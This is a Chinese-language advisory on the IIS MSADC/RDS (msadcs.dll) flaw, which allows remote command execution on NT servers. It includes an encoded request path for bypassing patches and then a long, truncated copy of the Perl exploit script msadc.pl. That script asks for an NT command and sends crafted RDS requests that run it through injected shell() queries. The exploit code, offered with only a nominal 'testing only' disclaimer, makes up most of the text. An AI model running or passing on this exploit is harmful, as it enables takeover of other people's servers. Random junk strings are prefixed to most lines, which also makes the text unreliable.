IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
D4Al3fe }v9\F-0>Q 涉及程序:
@`opDu! Microsoft NT server
C?ib_K* g]c[O*NTL 描述:
{Gq*e/ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
VGHWNMT bzDIhnw 详细:
Ji1Pz)fq 如果你没有时间读详细内容的话,就删除:
v2r&('pV c:\Program Files\Common Files\System\Msadc\msadcs.dll
}8|[;Qa`y 有关的安全问题就没有了。
(&|_quP7O D4eTTfQ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
pLa[}= /-bF$)vN 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
fDE%R={!n5 关于利用ODBC远程漏洞的描述,请参看:
]5~s"fnG |Fm6#1A@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :@W.K5
~>O) 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
D jk C http://www.microsoft.com/security/bulletins/MS99-025faq.asp :j|IP)-f |@ ,|F:h<M 这里不再论述。
UYk>'\%H0 `Y-|H;z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
MuoF FvAA 8[r9HC /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
O#wpbrJ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
.=m,hu~ Wg{k$T_> M(#m0xB #将下面这段保存为txt文件,然后: "perl -x 文件名"
h)~=Dm DeR='7n #!perl
]E =Iu #
K{n{KB&_& # MSADC/RDS 'usage' (aka exploit) script
%r&-gWTQ, #
p!]6ll^ # by rain.forest.puppy
s9dO,FMs0t #
LjL[V'JL # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^F?&|clM/ # beta test and find errors!
bjAnaya pg]BsJN use Socket; use Getopt::Std;
rc+C?)S getopts("e:vd:h:XR", \%args);
l3N I$Zu 3=-4%%[M@ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
*[=bR> I`z@2Z+pJ if (!defined $args{h} && !defined $args{R}) {
e><5Pr) print qq~
s1|/S\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
.NtbL./=| -h <host> = host you want to scan (ip or domain)
*6xgctk -d <seconds> = delay between calls, default 1 second
6}FO[ -X = dump Index Server path table, if available
pP(XIC -v = verbose
olLfko4$*V -e = external dictionary file for step 5
:xKcpY[{ ]|<w\\^A Or a -R will resume a command session
cb5,P~/q 4v[~r1!V ~; exit;}
CK,
6ytB eNiaM6(J $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-W,}rcj*| if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
N'xSG`,Mg if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
wP"dZagpj if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;S xFp $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
czlFr|O; if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
sgE-`# 8w({\= if (!defined $args{R}){ $ret = &has_msadc;
=@F&o4) r die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
AkOO)0 m7T)m0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{BHI1Uw . "cmd /c ";
qY 4#V k $in=<STDIN>; chomp $in;
*%KKNT'* $command="cmd /c " . $in ;
/c):}PJ^#7 |lv|!]qAma if (defined $args{R}) {&load; exit;}
0a"igq9t u.rY#cS,-R print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
r,_?F7 &try_btcustmr;
]
}f9JNf$ wgd /(8d print "\nStep 2: Trying to make our own DSN...";
vFEQ7qI &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@3kKJ %v2R.?F8 print "\nStep 3: Trying known DSNs...";
JI vo_7{ &known_dsn;
BC'llD JmEj{K<3I print "\nStep 4: Trying known .mdbs...";
_#vrb;.+ &known_mdb;
+MmHu6"1 ZoArQ(YFy if (defined $args{e}){
O#Wh
TDF" print "\nStep 5: Trying dictionary of DSN names...";
C!7>1I~5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~)(\6^&=| | [>UH print "Sorry Charley...maybe next time?\n";
}<'5 z
qS exit;
Mfv1Os:ST KF4PJi;* ##############################################################################
U!Ek' ;NRF=d> sub sendraw { # ripped and modded from whisker
c&L"N!4z sleep($delay); # it's a DoS on the server! At least on mine...
"1,pHR-+R my ($pstr)=@_;
*}8t{ F@k socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@Vu(XG die("Socket problems\n");
%Z*sU/^ if(connect(S,pack "SnA4x8",2,80,$target)){
O(_[ayE select(S); $|=1;
t]Xw{)T print $pstr; my @in=<S>;
Uk\Id~xLV select(STDOUT); close(S);
$ [yFsA6 return @in;
V%Sy"IG } else { die("Can't connect...\n"); }}
^i:B+
rl V <bd;m ##############################################################################
0:b2(^]bg NssELMtF!g sub make_header { # make the HTTP request
+k`!QM>e- my $msadc=<<EOT
/@|/^vld POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Onwp-!!.
User-Agent: ACTIVEDATA
8n>9;D5n Host: $ip
gynh#&r Content-Length: $clen
2+X\}s1vN Connection: Keep-Alive
-I=l8m6L "Y\_TtY ADCClientVersion:01.06
jRL<JZ1N Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
i'\T R|qd HbW0wuI --!ADM!ROX!YOUR!WORLD!
>KJ+-QuO& Content-Type: application/x-varg
A,4fEmWM Content-Length: $reqlen
M|Rb&6O ttu&@
= EOT
4R\Hpt ; $msadc=~s/\n/\r\n/g;
1/"WD?a return $msadc;}
`]W|8M &?(?vDFfZ ##############################################################################
J_;o|gqX )P+7PhE{J sub make_req { # make the RDS request
C9t4#" my ($switch, $p1, $p2)=@_;
k1!@^A my $req=""; my $t1, $t2, $query, $dsn;
z[;z>8|c G["c\Xux if ($switch==1){ # this is the btcustmr.mdb query
`*shF9.\C $query="Select * from Customers where City=" . make_shell();
!@v7Zu43, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~sXcnxLz $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
V 0rZz VX1-JxY elsif ($switch==2){ # this is general make table query
v;ZA4c $query="create table AZZ (B int, C varchar(10))";
\o^2y.q:> $dsn="$p1";}
y~\oTJb sQ\8>[]
elsif ($switch==3){ # this is general exploit table query
q7E~+p(>( $query="select * from AZZ where C=" . make_shell();
GmP@;[H" $dsn="$p1";}
){b@}13cF OtNd,U.dE elsif ($switch==4){ # attempt to hork file info from index server
U-3i $query="select path from scope()";
J_4!2v!6e $dsn="Provider=MSIDXS;";}
>=-(UA <q@a~'Ai?! elsif ($switch==5){ # bad query
v%iflCK $query="select";
KGFv"u{ $dsn="$p1";}
eYvWZJa4 sjV!5Z $t1= make_unicode($query);
Sb82}$sO $t2= make_unicode($dsn);
_BP&n